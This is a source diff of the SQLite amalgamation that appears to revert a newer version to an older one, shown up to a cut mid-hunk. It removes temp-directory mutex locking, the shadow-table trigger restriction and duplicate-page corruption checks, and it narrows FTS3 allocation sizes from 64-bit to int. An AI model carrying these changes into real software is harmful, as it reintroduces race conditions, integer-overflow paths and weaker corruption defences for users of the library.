@@ -13145,11 +13145,6 @@ struct fts5_api {
/************** End of sqlite3.h *********************************************/
/************** Continuing where we left off in sqliteInt.h ******************/
/*
** Reuse the STATIC_LRU for mutex access to sqlite3_temp_directory.
*/
#define SQLITE_MUTEX_STATIC_TEMPDIR SQLITE_MUTEX_STATIC_VFS1
/*
** Include the configuration header output by 'configure' if we're using the
** autoconf-based build
@@ -29569,13 +29564,8 @@ SQLITE_PRIVATE void *sqlite3OomFault(sqlite3 *db){
}
DisableLookaside;
if( db->pParse ){
Parse *pParse;
sqlite3ErrorMsg(db->pParse, "out of memory");
db->pParse->rc = SQLITE_NOMEM_BKPT;
for(pParse=db->pParse->pOuterParse; pParse; pParse = pParse->pOuterParse){
pParse->nErr++;
pParse->rc = SQLITE_NOMEM;
}
}
}
return 0;
@@ -33470,7 +33460,7 @@ SQLITE_PRIVATE void sqlite3ErrorMsg(Parse *pParse, const char *zFormat, ...){
va_list ap;
sqlite3 *db = pParse->db;
assert( db!=0 );
assert( db->pParse==pParse || db->pParse->pToplevel==pParse );
assert( db->pParse==pParse );
db->errByteOffset = -2;
va_start(ap, zFormat);
zMsg = sqlite3VMPrintf(db, zFormat, ap);
@@ -41331,7 +41321,6 @@ static const char *unixTempFileDir(void){
static int unixGetTempname(int nBuf, char *zBuf){
const char *zDir;
int iLimit = 0;
int rc = SQLITE_OK;
/* It's odd to simulate an io-error here, but really this is just
** using the io-error infrastructure to test that SQLite handles this
@@ -41340,26 +41329,18 @@ static int unixGetTempname(int nBuf, char *zBuf){
zBuf[0] = 0;
SimulateIOError( return SQLITE_IOERR );
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
zDir = unixTempFileDir();
if( zDir==0 ){
rc = SQLITE_IOERR_GETTEMPPATH;
}else{
do{
u64 r;
sqlite3_randomness(sizeof(r), &r);
assert( nBuf>2 );
zBuf[nBuf-2] = 0;
sqlite3_snprintf(nBuf, zBuf, "%s/"SQLITE_TEMP_FILE_PREFIX"%llx%c",
zDir, r, 0);
if( zBuf[nBuf-2]!=0 || (iLimit++)>10 ){
rc = SQLITE_ERROR;
break;
}
}while( osAccess(zBuf,0)==0 );
}
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
return rc;
if( zDir==0 ) return SQLITE_IOERR_GETTEMPPATH;
do{
u64 r;
sqlite3_randomness(sizeof(r), &r);
assert( nBuf>2 );
zBuf[nBuf-2] = 0;
sqlite3_snprintf(nBuf, zBuf, "%s/"SQLITE_TEMP_FILE_PREFIX"%llx%c",
zDir, r, 0);
if( zBuf[nBuf-2]!=0 || (iLimit++)>10 ) return SQLITE_ERROR;
}while( osAccess(zBuf,0)==0 );
return SQLITE_OK;
}
#if SQLITE_ENABLE_LOCKING_STYLE && defined(__APPLE__)
@@ -45498,12 +45479,10 @@ SQLITE_API int sqlite3_win32_set_directory8(
const char *zValue /* New value for directory being set or reset */
){
char **ppDirectory = 0;
int rc;
#ifndef SQLITE_OMIT_AUTOINIT
rc = sqlite3_initialize();
int rc = sqlite3_initialize();
if( rc ) return rc;
#endif
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
if( type==SQLITE_WIN32_DATA_DIRECTORY_TYPE ){
ppDirectory = &sqlite3_data_directory;
}else if( type==SQLITE_WIN32_TEMP_DIRECTORY_TYPE ){
@@ -45518,19 +45497,14 @@ SQLITE_API int sqlite3_win32_set_directory8(
if( zValue && zValue[0] ){
zCopy = sqlite3_mprintf("%s", zValue);
if ( zCopy==0 ){
rc = SQLITE_NOMEM_BKPT;
goto set_directory8_done;
return SQLITE_NOMEM_BKPT;
}
}
sqlite3_free(*ppDirectory);
*ppDirectory = zCopy;
rc = SQLITE_OK;
}else{
rc = SQLITE_ERROR;
return SQLITE_OK;
}
set_directory8_done:
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
return rc;
return SQLITE_ERROR;
}
/*
@@ -48304,18 +48278,6 @@ static int winMakeEndInDirSep(int nBuf, char *zBuf){
return 0;
}
/*
** If sqlite3_temp_directory is not, take the mutex and return true.
**
** If sqlite3_temp_directory is NULL, omit the mutex and return false.
*/
static int winTempDirDefined(void){
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
if( sqlite3_temp_directory!=0 ) return 1;
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
return 0;
}
/*
** Create a temporary file name and store the resulting pointer into pzBuf.
** The pointer returned in pzBuf must be freed via sqlite3_free().
@@ -48352,23 +48314,20 @@ static int winGetTempname(sqlite3_vfs *pVfs, char **pzBuf){
*/
nDir = nMax - (nPre + 15);
assert( nDir>0 );
if( winTempDirDefined() ){
if( sqlite3_temp_directory ){
int nDirLen = sqlite3Strlen30(sqlite3_temp_directory);
if( nDirLen>0 ){
if( !winIsDirSep(sqlite3_temp_directory[nDirLen-1]) ){
nDirLen++;
}
if( nDirLen>nDir ){
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
sqlite3_free(zBuf);
OSTRACE(("TEMP-FILENAME rc=SQLITE_ERROR\n"));
return winLogError(SQLITE_ERROR, 0, "winGetTempname1", 0);
}
sqlite3_snprintf(nMax, zBuf, "%s", sqlite3_temp_directory);
}
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
}
#if defined(__CYGWIN__)
else{
static const char *azDirs[] = {
@@ -49157,7 +49116,7 @@ static BOOL winIsVerbatimPathname(
** pathname into zOut[]. zOut[] will be at least pVfs->mxPathname
** bytes in size.
*/
static int winFullPathnameNoMutex(
static int winFullPathname(
sqlite3_vfs *pVfs, /* Pointer to vfs object */
const char *zRelative, /* Possibly relative input path */
int nFull, /* Size of output buffer in bytes */
@@ -49336,19 +49295,6 @@ static int winFullPathnameNoMutex(
}
#endif
}
static int winFullPathname(
sqlite3_vfs *pVfs, /* Pointer to vfs object */
const char *zRelative, /* Possibly relative input path */
int nFull, /* Size of output buffer in bytes */
char *zFull /* Output buffer */
){
int rc;
sqlite3_mutex *pMutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR);
sqlite3_mutex_enter(pMutex);
rc = winFullPathnameNoMutex(pVfs, zRelative, nFull, zFull);
sqlite3_mutex_leave(pMutex);
return rc;
}
#ifndef SQLITE_OMIT_LOAD_EXTENSION
/*
@@ -51693,24 +51639,14 @@ SQLITE_PRIVATE void sqlite3PcacheClearSyncFlags(PCache *pCache){
*/
SQLITE_PRIVATE void sqlite3PcacheMove(PgHdr *p, Pgno newPgno){
PCache *pCache = p->pCache;
sqlite3_pcache_page *pOther;
assert( p->nRef>0 );
assert( newPgno>0 );
assert( sqlite3PcachePageSanity(p) );
pcacheTrace(("%p.MOVE %d -> %d\n",pCache,p->pgno,newPgno));
pOther = sqlite3GlobalConfig.pcache2.xFetch(pCache->pCache, newPgno, 0);
if( pOther ){
PgHdr *pXPage = (PgHdr*)pOther->pExtra;
assert( pXPage->nRef==0 );
pXPage->nRef++;
pCache->nRefSum++;
sqlite3PcacheDrop(pXPage);
}
sqlite3GlobalConfig.pcache2.xRekey(pCache->pCache, p->pPage, p->pgno,newPgno);
p->pgno = newPgno;
if( (p->flags&PGHDR_DIRTY) && (p->flags&PGHDR_NEED_SYNC) ){
pcacheManageDirtyList(p, PCACHE_DIRTYLIST_FRONT);
assert( sqlite3PcachePageSanity(p) );
}
}
@@ -53092,26 +53028,23 @@ static void pcache1Rekey(
PCache1 *pCache = (PCache1 *)p;
PgHdr1 *pPage = (PgHdr1 *)pPg;
PgHdr1 **pp;
unsigned int hOld, hNew;
unsigned int h;
assert( pPage->iKey==iOld );
assert( pPage->pCache==pCache );
assert( iOld!=iNew ); /* The page number really is changing */
pcache1EnterMutex(pCache->pGroup);
assert( pcache1FetchNoMutex(p, iOld, 0)==pPage ); /* pPg really is iOld */
hOld = iOld%pCache->nHash;
pp = &pCache->apHash[hOld];
h = iOld%pCache->nHash;
pp = &pCache->apHash[h];
while( (*pp)!=pPage ){
pp = &(*pp)->pNext;
}
*pp = pPage->pNext;
assert( pcache1FetchNoMutex(p, iNew, 0)==0 ); /* iNew not in cache */
hNew = iNew%pCache->nHash;
h = iNew%pCache->nHash;
pPage->iKey = iNew;
pPage->pNext = pCache->apHash[hNew];
pCache->apHash[hNew] = pPage;
pPage->pNext = pCache->apHash[h];
pCache->apHash[h] = pPage;
if( iNew>pCache->iMaxKey ){
pCache->iMaxKey = iNew;
}
@@ -59744,7 +59677,6 @@ static int pager_open_journal(Pager *pPager){
if( rc!=SQLITE_OK ){
sqlite3BitvecDestroy(pPager->pInJournal);
pPager->pInJournal = 0;
pPager->journalOff = 0;
}else{
assert( pPager->eState==PAGER_WRITER_LOCKED );
pPager->eState = PAGER_WRITER_CACHEMOD;
@@ -61300,7 +61232,7 @@ SQLITE_PRIVATE int sqlite3PagerGetJournalMode(Pager *pPager){
SQLITE_PRIVATE int sqlite3PagerOkToChangeJournalMode(Pager *pPager){
assert( assert_pager_state(pPager) );
if( pPager->eState>=PAGER_WRITER_CACHEMOD ) return 0;
if( isOpen(pPager->jfd) && pPager->journalOff>0 ) return 0;
if( NEVER(isOpen(pPager->jfd) && pPager->journalOff>0) ) return 0;
return 1;
}
@@ -68415,7 +68347,7 @@ static int defragmentPage(MemPage *pPage, int nMaxFrag){
if( iFree2+sz2 > usableSize ) return SQLITE_CORRUPT_PAGE(pPage);
memmove(&data[iFree+sz+sz2], &data[iFree+sz], iFree2-(iFree+sz));
sz += sz2;
}else if( iFree+sz>usableSize ){
}else if( NEVER(iFree+sz>usableSize) ){
return SQLITE_CORRUPT_PAGE(pPage);
}
@@ -74771,6 +74703,8 @@ static int balance_nonroot(
Pgno pgno; /* Temp var to store a page number in */
u8 abDone[NB+2]; /* True after i'th new page is populated */
Pgno aPgno[NB+2]; /* Page numbers of new pages before shuffling */
Pgno aPgOrder[NB+2]; /* Copy of aPgno[] used for sorting pages */
u16 aPgFlags[NB+2]; /* flags field of new pages before shuffling */
CellArray b; /* Parsed information on cells being balanced */
memset(abDone, 0, sizeof(abDone));
@@ -75194,39 +75128,42 @@ static int balance_nonroot(
** of the table is closer to a linear scan through the file. That in turn
** helps the operating system to deliver pages from the disk more rapidly.
**
** An O(N*N) sort algorithm is used, but since N is never more than NB+2
** (5), that is not a performance concern.
** An O(n^2) insertion sort algorithm is used, but since n is never more
** than (NB+2) (a small constant), that should not be a problem.
**
** When NB==3, this one optimization makes the database about 25% faster
** for large insertions and deletions.
*/
for(i=0; i<nNew; i++){
aPgno[i] = apNew[i]->pgno;
assert( apNew[i]->pDbPage->flags & PGHDR_WRITEABLE );
assert( apNew[i]->pDbPage->flags & PGHDR_DIRTY );
}
for(i=0; i<nNew-1; i++){
int iB = i;
for(j=i+1; j<nNew; j++){
if( apNew[j]->pgno < apNew[iB]->pgno ) iB = j;
aPgOrder[i] = aPgno[i] = apNew[i]->pgno;
aPgFlags[i] = apNew[i]->pDbPage->flags;
for(j=0; j<i; j++){
if( NEVER(aPgno[j]==aPgno[i]) ){
/* This branch is taken if the set of sibling pages somehow contains
** duplicate entries. This can happen if the database is corrupt.
** It would be simpler to detect this as part of the loop below, but
** we do the detection here in order to avoid populating the pager
** cache with two separate objects associated with the same
** page number. */
assert( CORRUPT_DB );
rc = SQLITE_CORRUPT_BKPT;
goto balance_cleanup;
}
}
/* If apNew[i] has a page number that is bigger than any of the
** subsequence apNew[i] entries, then swap apNew[i] with the subsequent
** entry that has the smallest page number (which we know to be
** entry apNew[iB]).
*/
if( iB!=i ){
Pgno pgnoA = apNew[i]->pgno;
Pgno pgnoB = apNew[iB]->pgno;
Pgno pgnoTemp = (PENDING_BYTE/pBt->pageSize)+1;
u16 fgA = apNew[i]->pDbPage->flags;
u16 fgB = apNew[iB]->pDbPage->flags;
sqlite3PagerRekey(apNew[i]->pDbPage, pgnoTemp, fgB);
sqlite3PagerRekey(apNew[iB]->pDbPage, pgnoA, fgA);
sqlite3PagerRekey(apNew[i]->pDbPage, pgnoB, fgB);
apNew[i]->pgno = pgnoB;
apNew[iB]->pgno = pgnoA;
}
for(i=0; i<nNew; i++){
int iBest = 0; /* aPgno[] index of page number to use */
for(j=1; j<nNew; j++){
if( aPgOrder[j]<aPgOrder[iBest] ) iBest = j;
}
pgno = aPgOrder[iBest];
aPgOrder[iBest] = 0xffffffff;
if( iBest!=i ){
if( iBest>i ){
sqlite3PagerRekey(apNew[iBest]->pDbPage, pBt->nPage+iBest+1, 0);
}
sqlite3PagerRekey(apNew[i]->pDbPage, pgno, aPgFlags[iBest]);
apNew[i]->pgno = pgno;
}
}
@@ -81099,7 +81036,6 @@ SQLITE_PRIVATE int sqlite3VdbeAddFunctionCall(
addr = sqlite3VdbeAddOp4(v, eCallCtx ? OP_PureFunc : OP_Function,
p1, p2, p3, (char*)pCtx, P4_FUNCCTX);
sqlite3VdbeChangeP5(v, eCallCtx & NC_SelfRef);
sqlite3MayAbort(pParse);
return addr;
}
@@ -81435,7 +81371,6 @@ SQLITE_PRIVATE int sqlite3VdbeAssertMayAbort(Vdbe *v, int mayAbort){
|| opcode==OP_VDestroy
|| opcode==OP_VCreate
|| opcode==OP_ParseSchema
|| opcode==OP_Function || opcode==OP_PureFunc
|| ((opcode==OP_Halt || opcode==OP_HaltIfNull)
&& ((pOp->p1)!=SQLITE_OK && pOp->p2==OE_Abort))
){
@@ -132770,7 +132705,6 @@ SQLITE_PRIVATE void sqlite3Pragma(
**
*/
case PragTyp_TEMP_STORE_DIRECTORY: {
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
if( !zRight ){
returnSingleText(v, sqlite3_temp_directory);
}else{
@@ -132780,7 +132714,6 @@ SQLITE_PRIVATE void sqlite3Pragma(
rc = sqlite3OsAccess(db->pVfs, zRight, SQLITE_ACCESS_READWRITE, &res);
if( rc!=SQLITE_OK || res==0 ){
sqlite3ErrorMsg(pParse, "not a writable directory");
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
goto pragma_out;
}
}
@@ -132798,7 +132731,6 @@ SQLITE_PRIVATE void sqlite3Pragma(
}
#endif /* SQLITE_OMIT_WSD */
}
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
break;
}
@@ -132817,7 +132749,6 @@ SQLITE_PRIVATE void sqlite3Pragma(
**
*/
case PragTyp_DATA_STORE_DIRECTORY: {
sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
if( !zRight ){
returnSingleText(v, sqlite3_data_directory);
}else{
@@ -132827,7 +132758,6 @@ SQLITE_PRIVATE void sqlite3Pragma(
rc = sqlite3OsAccess(db->pVfs, zRight, SQLITE_ACCESS_READWRITE, &res);
if( rc!=SQLITE_OK || res==0 ){
sqlite3ErrorMsg(pParse, "not a writable directory");
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
goto pragma_out;
}
}
@@ -132839,7 +132769,6 @@ SQLITE_PRIVATE void sqlite3Pragma(
}
#endif /* SQLITE_OMIT_WSD */
}
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
break;
}
#endif
@@ -137285,7 +137214,7 @@ static void generateSortTail(
if( addrOnce ) sqlite3VdbeJumpHere(v, addrOnce);
addr = 1 + sqlite3VdbeAddOp2(v, OP_SorterSort, iTab, addrBreak);
VdbeCoverage(v);
assert( p->iLimit==0 && p->iOffset==0 );
codeOffset(v, p->iOffset, addrContinue);
sqlite3VdbeAddOp3(v, OP_SorterData, iTab, regSortOut, iSortTab);
bSeq = 0;
}else{
@@ -137293,9 +137222,6 @@ static void generateSortTail(
codeOffset(v, p->iOffset, addrContinue);
iSortTab = iTab;
bSeq = 1;
if( p->iOffset>0 ){
sqlite3VdbeAddOp2(v, OP_AddImm, p->iLimit, -1);
}
}
for(i=0, iCol=nKey+bSeq-1; i<nColumn; i++){
#ifdef SQLITE_ENABLE_SORTER_REFERENCES
@@ -139288,11 +139214,10 @@ static int multiSelectOrderBy(
*/
sqlite3VdbeResolveLabel(v, labelEnd);
/* Reassemble the compound query so that it will be freed correctly
/* Reassembly the compound query so that it will be freed correctly
** by the calling function */
if( pSplit->pPrior ){
sqlite3ParserAddCleanup(pParse,
(void(*)(sqlite3*,void*))sqlite3SelectDelete, pSplit->pPrior);
sqlite3SelectDelete(db, pSplit->pPrior);
}
pSplit->pPrior = pPrior;
pPrior->pNext = pSplit;
@@ -140811,7 +140736,6 @@ static Table *isSimpleCount(Select *p, AggInfo *pAggInfo){
|| p->pSrc->nSrc!=1
|| p->pSrc->a[0].pSelect
|| pAggInfo->nFunc!=1
|| p->pHaving
){
return 0;
}
@@ -144049,23 +143973,6 @@ SQLITE_PRIVATE void sqlite3FinishTrigger(
Vdbe *v;
char *z;
/* If this is a new CREATE TABLE statement, and if shadow tables
** are read-only, and the trigger makes a change to a shadow table,
** then raise an error - do not allow the trigger to be created. */
if( sqlite3ReadOnlyShadowTables(db) ){
TriggerStep *pStep;
for(pStep=pTrig->step_list; pStep; pStep=pStep->pNext){
if( pStep->zTarget!=0
&& sqlite3ShadowTableName(db, pStep->zTarget)
){
sqlite3ErrorMsg(pParse,
"trigger \"%s\" may not write to shadow table \"%s\"",
pTrig->zName, pStep->zTarget);
goto triggerfinish_cleanup;
}
}
}
/* Make an entry in the sqlite_schema table */
v = sqlite3GetVdbe(pParse);
if( v==0 ) goto triggerfinish_cleanup;
@@ -149877,8 +149784,7 @@ static int codeEqualityTerm(
}
sqlite3ExprDelete(db, pX);
}else{
int n = sqlite3ExprVectorSize(pX->pLeft);
aiMap = (int*)sqlite3DbMallocZero(pParse->db, sizeof(int)*MAX(nEq,n));
aiMap = (int*)sqlite3DbMallocZero(pParse->db, sizeof(int)*nEq);
eType = sqlite3FindInIndex(pParse, pX, IN_INDEX_LOOP, 0, aiMap, &iTab);
}
pX = pExpr;
@@ -177031,7 +176937,7 @@ struct Fts3MultiSegReader {
int nAdvance; /* How many seg-readers to advance */
Fts3SegFilter *pFilter; /* Pointer to filter object */
char *aBuffer; /* Buffer to merge doclists in */
i64 nBuffer; /* Allocated size of aBuffer[] in bytes */
int nBuffer; /* Allocated size of aBuffer[] in bytes */
int iColFilter; /* If >=0, filter for this column */
int bRestart;
@@ -179727,7 +179633,7 @@ static int fts3TermSelectMerge(
**
** Similar padding is added in the fts3DoclistOrMerge() function.
*/
pTS->aaOutput[0] = sqlite3_malloc64((i64)nDoclist + FTS3_VARINT_MAX + 1);
pTS->aaOutput[0] = sqlite3_malloc(nDoclist + FTS3_VARINT_MAX + 1);
pTS->anOutput[0] = nDoclist;
if( pTS->aaOutput[0] ){
memcpy(pTS->aaOutput[0], aDoclist, nDoclist);
@@ -181215,7 +181121,7 @@ static int fts3EvalDeferredPhrase(Fts3Cursor *pCsr, Fts3Phrase *pPhrase){
nDistance = iPrev - nMaxUndeferred;
}
aOut = (char *)sqlite3Fts3MallocZero(nPoslist+FTS3_BUFFER_PADDING);
aOut = (char *)sqlite3_malloc(nPoslist+8);
if( !aOut ){
sqlite3_free(aPoslist);
return SQLITE_NOMEM;
@@ -181584,7 +181490,7 @@ static int fts3EvalIncrPhraseNext(
if( bEof==0 ){
int nList = 0;
int nByte = a[p->nToken-1].nList;
char *aDoclist = sqlite3_malloc64((i64)nByte+FTS3_BUFFER_PADDING);
char *aDoclist = sqlite3_malloc(nByte+FTS3_BUFFER_PADDING);
if( !aDoclist ) return SQLITE_NOMEM;
memcpy(aDoclist, a[p->nToken-1].pList, nByte+1);
memset(&aDoclist[nByte], 0, FTS3_BUFFER_PADDING);
@@ -185820,7 +185726,7 @@ static int porterNext(
if( n>c->nAllocated ){
char *pNew;
c->nAllocated = n+20;
pNew = sqlite3_realloc64(c->zToken, c->nAllocated);
pNew = sqlite3_realloc(c->zToken, c->nAllocated);
if( !pNew ) return SQLITE_NOMEM;
c->zToken = pNew;
}
@@ -186572,7 +186478,7 @@ static int simpleNext(
if( n>c->nTokenAllocated ){
char *pNew;
c->nTokenAllocated = n+20;
pNew = sqlite3_realloc64(c->pToken, c->nTokenAllocated);
pNew = sqlite3_realloc(c->pToken, c->nTokenAllocated);
if( !pNew ) return SQLITE_NOMEM;
c->pToken = pNew;
}
@@ -187734,7 +187640,7 @@ static int fts3PendingListAppendVarint(
/* Allocate or grow the PendingList as required. */
if( !p ){
p = sqlite3_malloc64(sizeof(*p) + 100);
p = sqlite3_malloc(sizeof(*p) + 100);
if( !p ){
return SQLITE_NOMEM;
}
@@ -187743,14 +187649,14 @@ static int fts3PendingListAppendVarint(
p->nData = 0;
}
else if( p->nData+FTS3_VARINT_MAX+1>p->nSpace ){
i64 nNew = p->nSpace * 2;
p = sqlite3_realloc64(p, sizeof(*p) + nNew);
int nNew = p->nSpace * 2;
p = sqlite3_realloc(p, sizeof(*p) + nNew);
if( !p ){
sqlite3_free(*pp);
*pp = 0;
return SQLITE_NOMEM;
}
p->nSpace = (int)nNew;
p->nSpace = nNew;
p->aData = (char *)&p[1];
}
@@ -188307,7 +188213,7 @@ SQLITE_PRIVATE int sqlite3Fts3ReadBlock(
int nByte = sqlite3_blob_bytes(p->pSegments);
*pnBlob = nByte;
if( paBlob ){
char *aByte = sqlite3_malloc64((i64)nByte + FTS3_NODE_PADDING);
char *aByte = sqlite3_malloc(nByte + FTS3_NODE_PADDING);
if( !aByte ){
rc = SQLITE_NOMEM;
}else{
@@ -188424,7 +188330,7 @@ static int fts3SegReaderNext(
int nTerm = fts3HashKeysize(pElem);
if( (nTerm+1)>pReader->nTermAlloc ){
sqlite3_free(pReader->zTerm);
pReader->zTerm = (char*)sqlite3_malloc64(((i64)nTerm+1)*2);
pReader->zTerm = (char*)sqlite3_malloc((nTerm+1)*2);
if( !pReader->zTerm ) return SQLITE_NOMEM;
pReader->nTermAlloc = (nTerm+1)*2;
}
@@ -188432,7 +188338,7 @@ static int fts3SegReaderNext(
pReader->zTerm[nTerm] = '\0';
pReader->nTerm = nTerm;
aCopy = (char*)sqlite3_malloc64(nCopy);
aCopy = (char*)sqlite3_malloc(nCopy);
if( !aCopy ) return SQLITE_NOMEM;
memcpy(aCopy, pList->aData, nCopy);
pReader->nNode = pReader->nDoclist = nCopy;
@@ -188719,7 +188625,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderNew(
nExtra = nRoot + FTS3_NODE_PADDING;
}
pReader = (Fts3SegReader *)sqlite3_malloc64(sizeof(Fts3SegReader) + nExtra);
pReader = (Fts3SegReader *)sqlite3_malloc(sizeof(Fts3SegReader) + nExtra);
if( !pReader ){
return SQLITE_NOMEM;
}
@@ -188811,7 +188717,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderPending(
if( nElem==nAlloc ){
Fts3HashElem **aElem2;
nAlloc += 16;
aElem2 = (Fts3HashElem **)sqlite3_realloc64(
aElem2 = (Fts3HashElem **)sqlite3_realloc(
aElem, nAlloc*sizeof(Fts3HashElem *)
);
if( !aElem2 ){
@@ -189145,7 +189051,7 @@ static int fts3NodeAddTerm(
** this is not expected to be a serious problem.
*/
assert( pTree->aData==(char *)&pTree[1] );
pTree->aData = (char *)sqlite3_malloc64(nReq);
pTree->aData = (char *)sqlite3_malloc(nReq);
if( !pTree->aData ){
return SQLITE_NOMEM;
}
@@ -189163,7 +189069,7 @@ static int fts3NodeAddTerm(
if( isCopyTerm ){
if( pTree->nMalloc<nTerm ){
char *zNew = sqlite3_realloc64(pTree->zMalloc, (i64)nTerm*2);
char *zNew = sqlite3_realloc(pTree->zMalloc, nTerm*2);
if( !zNew ){
return SQLITE_NOMEM;
}
@@ -189189,7 +189095,7 @@ static int fts3NodeAddTerm(
** now. Instead, the term is inserted into the parent of pTree. If pTree
** has no parent, one is created here.
*/
pNew = (SegmentNode *)sqlite3_malloc64(sizeof(SegmentNode) + p->nNodeSize);
pNew = (SegmentNode *)sqlite3_malloc(sizeof(SegmentNode) + p->nNodeSize);
if( !pNew ){
return SQLITE_NOMEM;
}
@@ -189327,7 +189233,7 @@ static int fts3SegWriterAdd(
){
int nPrefix; /* Size of term prefix in bytes */
int nSuffix; /* Size of term suffix in bytes */
i64 nReq; /* Number of bytes required on leaf page */
int nReq; /* Number of bytes required on leaf page */
int nData;
SegmentWriter *pWriter = *ppWriter;
@@ -189336,13 +189242,13 @@ static int fts3SegWriterAdd(
sqlite3_stmt *pStmt;
/* Allocate the SegmentWriter structure */
pWriter = (SegmentWriter *)sqlite3_malloc64(sizeof(SegmentWriter));
pWriter = (SegmentWriter *)sqlite3_malloc(sizeof(SegmentWriter));
if( !pWriter ) return SQLITE_NOMEM;
memset(pWriter, 0, sizeof(SegmentWriter));
*ppWriter = pWriter;
/* Allocate a buffer in which to accumulate data */
pWriter->aData = (char *)sqlite3_malloc64(p->nNodeSize);
pWriter->aData = (char *)sqlite3_malloc(p->nNodeSize);
if( !pWriter->aData ) return SQLITE_NOMEM;
pWriter->nSize = p->nNodeSize;
@@ -189417,7 +189323,7 @@ static int fts3SegWriterAdd(
** the buffer to make it large enough.
*/
if( nReq>pWriter->nSize ){
char *aNew = sqlite3_realloc64(pWriter->aData, nReq);
char *aNew = sqlite3_realloc(pWriter->aData, nReq);
if( !aNew ) return SQLITE_NOMEM;
pWriter->aData = aNew;
pWriter->nSize = nReq;
@@ -189442,7 +189348,7 @@ static int fts3SegWriterAdd(
*/
if( isCopyTerm ){
if( nTerm>pWriter->nMalloc ){
char *zNew = sqlite3_realloc64(pWriter->zMalloc, (i64)nTerm*2);
char *zNew = sqlite3_realloc(pWriter->zMalloc, nTerm*2);
if( !zNew ){
return SQLITE_NOMEM;
}
@@ -189750,12 +189656,12 @@ static void fts3ColumnFilter(
static int fts3MsrBufferData(
Fts3MultiSegReader *pMsr, /* Multi-segment-reader handle */
char *pList,
i64 nList
int nList
){
if( nList>pMsr->nBuffer ){
char *pNew;
pMsr->nBuffer = nList*2;
pNew = (char *)sqlite3_realloc64(pMsr->aBuffer, pMsr->nBuffer);
pNew = (char *)sqlite3_realloc(pMsr->aBuffer, pMsr->nBuffer);
if( !pNew ) return SQLITE_NOMEM;
pMsr->aBuffer = pNew;
}
@@ -189811,7 +189717,7 @@ SQLITE_PRIVATE int sqlite3Fts3MsrIncrNext(
fts3SegReaderSort(pMsr->apSegment, nMerge, j, xCmp);
if( nList>0 && fts3SegReaderIsPending(apSegment[0]) ){
rc = fts3MsrBufferData(pMsr, pList, (i64)nList+1);
rc = fts3MsrBufferData(pMsr, pList, nList+1);
if( rc!=SQLITE_OK ) return rc;
assert( (pMsr->aBuffer[nList] & 0xFE)==0x00 );
pList = pMsr->aBuffer;
@@ -189948,11 +189854,11 @@ SQLITE_PRIVATE int sqlite3Fts3MsrIncrRestart(Fts3MultiSegReader *pCsr){
return SQLITE_OK;
}
static int fts3GrowSegReaderBuffer(Fts3MultiSegReader *pCsr, i64 nReq){
static int fts3GrowSegReaderBuffer(Fts3MultiSegReader *pCsr, int nReq){
if( nReq>pCsr->nBuffer ){
char *aNew;
pCsr->nBuffer = nReq*2;
aNew = sqlite3_realloc64(pCsr->aBuffer, pCsr->nBuffer);
aNew = sqlite3_realloc(pCsr->aBuffer, pCsr->nBuffer);
if( !aNew ){
return SQLITE_NOMEM;
}
@@ -190043,8 +189949,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderStep(
){
pCsr->nDoclist = apSegment[0]->nDoclist;
if( fts3SegReaderIsPending(apSegment[0]) ){
rc = fts3MsrBufferData(pCsr, apSegment[0]->aDoclist,
(i64)pCsr->nDoclist);
rc = fts3MsrBufferData(pCsr, apSegment[0]->aDoclist, pCsr->nDoclist);
pCsr->aDoclist = pCsr->aBuffer;
}else{
pCsr->aDoclist = apSegment[0]->aDoclist;
@@ -190097,8 +190002,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderStep(
nByte = sqlite3Fts3VarintLen(iDelta) + (isRequirePos?nList+1:0);
rc = fts3GrowSegReaderBuffer(pCsr,
(i64)nByte+nDoclist+FTS3_NODE_PADDING);
rc = fts3GrowSegReaderBuffer(pCsr, nByte+nDoclist+FTS3_NODE_PADDING);
if( rc ) return rc;
if( isFirst ){
@@ -190124,7 +190028,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderStep(
fts3SegReaderSort(apSegment, nMerge, j, xCmp);
}
if( nDoclist>0 ){
rc = fts3GrowSegReaderBuffer(pCsr, (i64)nDoclist+FTS3_NODE_PADDING);
rc = fts3GrowSegReaderBuffer(pCsr, nDoclist+FTS3_NODE_PADDING);
if( rc ) return rc;
memset(&pCsr->aBuffer[nDoclist], 0, FTS3_NODE_PADDING);
pCsr->aDoclist = pCsr->aBuffer;
@@ -190837,7 +190741,7 @@ struct NodeReader {
static void blobGrowBuffer(Blob *pBlob, int nMin, int *pRc){
if( *pRc==SQLITE_OK && nMin>pBlob->nAlloc ){
int nAlloc = nMin;
char *a = (char *)sqlite3_realloc64(pBlob->a, nAlloc);
char *a = (char *)sqlite3_realloc(pBlob->a, nAlloc);
if( a ){
pBlob->nAlloc = nAlloc;
pBlob->a = a;
@@ -191634,7 +191538,7 @@ static int fts3RepackSegdirLevel(
if( nIdx>=nAlloc ){
int *aNew;
nAlloc += 16;
aNew = sqlite3_realloc64(aIdx, nAlloc*sizeof(int));
aNew = sqlite3_realloc(aIdx, nAlloc*sizeof(int));
